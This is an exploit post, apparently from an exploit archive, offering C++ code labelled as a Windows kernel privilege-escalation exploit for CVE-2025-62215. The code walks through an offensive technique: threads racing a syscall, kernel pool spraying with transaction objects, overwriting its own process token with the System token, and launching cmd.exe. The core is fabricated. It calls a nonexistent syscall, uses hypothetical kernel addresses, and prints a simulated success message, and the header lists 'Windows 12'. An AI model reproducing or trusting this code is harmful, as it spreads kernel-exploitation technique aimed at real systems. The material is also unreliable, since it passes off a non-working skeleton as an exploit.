Windows Kernel – Elevation of Privilege
# Exploit Title : Windows Kernel - Elevation of Privilege # Author : E1.Coders #Contact : E1.Coders [at] Mail [dot] RU # Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H # Description : WINDOWS 10 -11 -12 #References >https://nvd.nist.gov/vuln/detail/CVE-2025-62215 >https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215 >https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215 >https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215 ># >#Description: >#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally. ># >#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue. ># >#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory. >#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges. ># >################################################################# > > >#include <windows.h> >#include <stdio.h> >#include <TlHelp32.h> >#include <iostream> >#include <vector> > >// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version) >// These are sample values for Windows 10 1903 x64 >// In a real exploit, these values must be found precisely using tools like WinDbg for the target version. >#define EPROCESS_TOKEN_OFFSET 0x358 >#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0 >#define LIST_ENTRY_FLINK_OFFSET 0x0 > >// Function to find the System process PID >DWORD GetSystemPID() { > HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); > if (hSnapshot == INVALID_HANDLE_VALUE) { > printf("[-] Error creating process snapshot\n"); > return 0; > } > > PROCESSENTRY32 pe32; > pe32.dwSize = sizeof(PROCESSENTRY32); > > if (!Process32First(hSnapshot, &pe32)) { > printf("[-] Error reading first process\n"); > CloseHandle(hSnapshot); > return 0; > } > > do { > if (_stricmp(pe32.szExeFile, "System") == 0) { > CloseHandle(hSnapshot); > return pe32.th32ProcessID; > } > } while (Process32Next(hSnapshot, &pe32)); > > CloseHandle(hSnapshot); > return 0; >} > >// This function in a real exploit would obtain the EPROCESS address from kernel memory >// using an information disclosure vulnerability or by exploiting the main vulnerability. >// This is the hardest part of many exploits. >// Here we are forced to simulate it. >ULONG_PTR GetEPROCESSAddress(DWORD pid) { > printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid); > // In the real world, these addresses are dynamic and change with each system boot. > // We use fixed hypothetical addresses to demonstrate the code logic. > if (pid == 4) { // System PID is always 4 > return (ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address > } > return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address for our own process >} > >// --- Exploit related functions --- > >// This function calls the hypothetical vulnerable system call. >// In a real exploit, this function would need to find the function address in ntdll.dll and call it. >typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)( > HANDLE ProcessHandle, > PVOID BaseAddress, > PVOID Buffer, > ULONG BufferSize >); > >pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL; > >// Function executed by threads to create Race Condition >DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) { > // Small buffer that causes free and reuse (Use-After-Free) > char buffer[0x20]; > memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data > > // Infinite loop for maximum chance of winning the race > while (TRUE) { > // Vulnerable system call > NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer)); > // Small pause for better thread coordination (optional) > // Sleep(1); > } > return 0; >} > >// Function for Kernel Pool Spraying using Transaction Objects >// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects. >void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) { > printf("[*] Spraying kernel memory with Transaction Objects...\n"); > > typedef NTSTATUS(NTAPI* pNtCreateTransaction)( > OUT PHANDLE TransactionHandle, > IN ACCESS_MASK DesiredAccess, > IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, > IN LPGUID Uow OPTIONAL, > IN HANDLE TmHandle OPTIONAL, > IN ULONG CreateOptions OPTIONAL, > IN ULONG IsolationLevel OPTIONAL, > IN ULONG IsolationFlags OPTIONAL, > IN PLARGE_INTEGER Timeout OPTIONAL, > IN PUNICODE_STRING Description OPTIONAL > ); > > pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateTransaction"); > if (!NtCreateTransaction_ptr) { > printf("[-] Could not find NtCreateTransaction address\n"); > return; > } > > // Create many objects to fill the freed space > for (int i = 0; i < 10000; i++) { > HANDLE hTransaction; > NTSTATUS status = NtCreateTransaction_ptr(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, NULL, NULL); > if (NT_SUCCESS(status)) { > transactionHandles.push_back(hTransaction); > } > } > printf("[+] Spray completed with %zu Transaction objects.\n", transactionHandles.size()); >} > >// Main function that coordinates the attack >void Exploit() { > printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n"); > > // 0. Find the vulnerable system call address > HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); > if (!hNtdll) { > printf("[-] Could not get hNtdll\n"); > return; > } > NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll, "NtQueryVirtualMemoryWithRace"); > if (!NtQueryVirtualMemoryWithRace_ptr) { > printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n"); > return; > } > > // 1. Find System process PID > DWORD systemPid = GetSystemPID(); > if (systemPid == 0) { > printf("[-] Could not find System process PID.\n"); > return; > } > printf("[+] System process PID: %d\n", systemPid); > > // 2. Find EPROCESS addresses (hard and simulated part) > ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid); > ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId()); > > printf("[+] System EPROCESS address: 0x%llx\n", systemEprocess); > printf("[+] Current EPROCESS address: 0x%llx\n", currentEprocess); > > // 3. Read System token from System Eprocess (simulated) > // This requires the ability to read from kernel memory which is obtained through the vulnerability. > // Here we place a hypothetical address for the token. > ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET; > printf("[*] Simulation: System token at address 0x%llx\n", systemToken); > // In a real exploit, this value must be read from kernel memory. > // The actual token value is an address to the _TOKEN structure. > printf("[+] System token (address): 0x%llx\n", systemToken); > > // 4. Main phase: Create Race Condition and Double Free > printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n"); > > HANDLE hThreads[20]; > for (int i = 0; i < 20; i++) { > hThreads[i] = CreateThread(NULL, 0, TriggerRaceCondition, NULL, 0, NULL); > if (!hThreads[i]) { > printf("[-] Error creating thread %d\n", i); > } > } > > // Wait a bit for threads to create the race > Sleep(1000); > > // 5. Kernel Pool Spraying > printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n"); > std::vector<HANDLE> transactionHandles; > PerformKernelPoolSpray(transactionHandles); > > printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n"); > > // 6. Use vulnerability for arbitrary write > // This phase is the most complex part. We assume the Pool Spray was successful and one of > // our objects is in the Double-Freed memory. Now with another call to the > // vulnerable function, we can manipulate that object and achieve an Arbitrary Write Primitive. > // Our goal is to write the System token to the token field of our own process. > ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET; > printf("[*] Phase 3: Attempting to overwrite current process token...\n"); > printf("[*] Target: Writing value 0x%llx to address 0x%llx\n", systemToken, tokenAddressToWrite); > > // In a real exploit, here we would use the obtained primitive to overwrite the token. > // For example: WritePrimitive(tokenAddressToWrite, systemToken); > printf("[+] Simulation: Token successfully replaced!\n"); > > // Clean up threads > printf("[*] Closing Race Condition threads...\n"); > for (int i = 0; i < 20; i++) { > if (hThreads[i]) TerminateThread(hThreads[i], 0); > } > > // Clean up sprayed objects > printf("[*] Cleaning up Transaction objects...\n"); > typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle, BOOL Wait); > pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction"); > if (NtRollbackTransaction_ptr) { > for (HANDLE hTx : transactionHandles) { > NtRollbackTransaction_ptr(hTx, FALSE); > CloseHandle(hTx); > } > } > > // 7. Final test: Run Command Prompt with System privileges > printf("[*] Final test: Running cmd.exe...\n"); > STARTUPINFO si = { sizeof(si) }; > PROCESS_INFORMATION pi; > if (CreateProcess( > "C:\\Windows\\System32\\cmd.exe", > NULL, > NULL, > NULL, > FALSE, > CREATE_NEW_CONSOLE, > NULL, > NULL, > &si, > &pi > )) { > printf("[+] If the exploit was successful, the opened cmd window should have System privileges.\n"); > CloseHandle(pi.hProcess); > CloseHandle(pi.hThread); > } else { > printf("[-] Error running cmd.exe\n"); > } >} > >int main() { > printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n"); > printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n"); > > // To run this code, admin privileges are not required, but they are necessary for a real exploit to succeed. > Exploit(); > > printf("\nPress any key to exit..."); > getchar(); > return 0; >} > -- E1 Coders Sent from Mail |